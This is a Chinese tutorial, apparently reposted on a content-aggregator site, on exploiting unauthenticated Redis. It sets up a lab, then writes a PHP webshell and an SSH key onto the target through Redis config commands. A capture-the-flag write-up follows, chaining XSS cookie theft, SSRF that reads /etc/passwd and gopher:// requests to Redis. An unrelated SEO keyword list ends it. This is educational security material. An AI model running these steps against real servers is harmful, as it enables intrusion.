千家信息网

redis未授权访问的方法

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,这篇文章主要为大家详细介绍了redis未授权访问的方法,图文详解容易学习,配合代码阅读理解效果更佳,非常适合初学者入门,感兴趣的小伙伴们可以参考一下。redis是一种以key-value为键值对的非关
千家信息网最后更新 2025年01月20日redis未授权访问的方法

这篇文章主要为大家详细介绍了redis未授权访问的方法,图文详解容易学习,配合代码阅读理解效果更佳,非常适合初学者入门,感兴趣的小伙伴们可以参考一下。

redis是一种以key-value为键值对的非关系型数据库。

redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

安装服务

win

下载地址:https://github.com/MSOpenTech/redis/releases
测试环境:

操作系统:win7
ip:192.168.107.144

命令行输入

redis-server.exe redis.conf

接着查看端口

6379端口(redis默认端口)已经打开

redis成功启动

ubuntu

安装

sudo apt-get updatesudo apt-get install redis-server

启动服务

redis-server

基本命令

连接redis

redis-cli.exe -h 192.168.107.144

查看键为x的值

redis 192.168.107.144:6379> get x""

get所有key

redis 192.168.107.144:6379> keys *1) "x"

删除所有键

redis 192.168.107.144:6379>flushall

漏洞利用

本机通过telnet命令主动去连接目标机

或者通过redis-cli.exe -h 192.168.107.144连接

连接成功

输入info获取相关信息

可以看到redis版本号等

利用方式

  • 写入一句话webshell

  • 写入ssh公钥

写入shell

//设置x的值redis 192.168.107.144:6379> set x ""  redis 192.168.107.144:6379> config set dbfilename test.phpredis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWWredis 192.168.107.144:6379> save

成功写入目标机

写入ssh公钥

在本地生成一对密钥

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

接着将ssh公钥写入靶机

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)192.168.107.144:6379> save     # 保存

再到本地去连接ssh

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

即可

CTF中的redis(XSS->SSRF&Gopher->Redis)

题目为

题目地址:https://hackme.inndy.tw/scoreboard/

xeeme

泄露

在robots.txt发现泄露源码

是加密了的config.php

xss打cookie

注册登陆后的界面

发邮件有验证

验证写个脚本即可

".md5($captcha);?>

然后过滤了一些东西

用img测试

onload也过滤了

这里注意到一个细节,过滤的是空格加上onerror,猜想是匹配到有空格的onerror才会过滤,于是构造没有空格的onerror,尝试payload

然后打cookie,成功打到cookie

将SESSION解码

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability }; FLAG_2=IN_THE_REDIS

xssrf leak

根据上一题的cookie,FLAG_2=IN_THE_REDIS

还是一样的环境

因为拿到了管理员的cookie,于是登陆一下

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

发现innerhtml被过滤

于是html编码

发现收到请求

解个码,放在本地

SSRF读取config.php

猜测send request功能存在ssrf

vps收到请求

解码:

...      

post请求的url参数

尝试读文件

成功读到/etc/passwd

于是读之前的config.php

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

于是写个脚本

flag="""}tiolpxeotysaesinoitacitnehtuatuohtiwsideR{GALF"""result = flag[::-1]print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

关于redis未授权访问的方法就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果喜欢这篇文章,不如把它分享出去让更多的人看到。

成功 公钥 端口 命令 数据 文件 类型 尝试 服务 登陆 方法 地址 平台 数据库 更多 源码 环境 目标 空格 管理员 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 架设一台安全的web服务器 平安银行网络安全消保主题 软件开发到公司先做什么 上海交大网络安全研究员范磊 计算机软件开发可以外包吗 买阿里云服务器需要注意什么 深圳网络工程软件开发 附加数据库已超过锁请求超时时段 网络安全文明上网手抄报文案 澳大利亚网络安全学校 机架服务器的物理结构有哪些构成 荆州酒店网络安全管理 绵阳网络安全等级保护 网络技术有什么优势 武汉东湖学院网络安全 网络安全英文名字缩写 华为服务器文件管理思 雷霆游戏服务器奔溃 这么采集考勤机的数据库 西安高新区网络安全宣传周进校园 ftp服务器下载软件 swich怎么连巴西服务器 5兆带宽服务器配置 网络游戏服务器数量 比特币精灵软件开发 删除记录信息还在数据库吗 数据库第一次实验心得体会 企业服务器都放在哪里 红原县网络安全教育活动 玉林到广州途经的高速服务器
0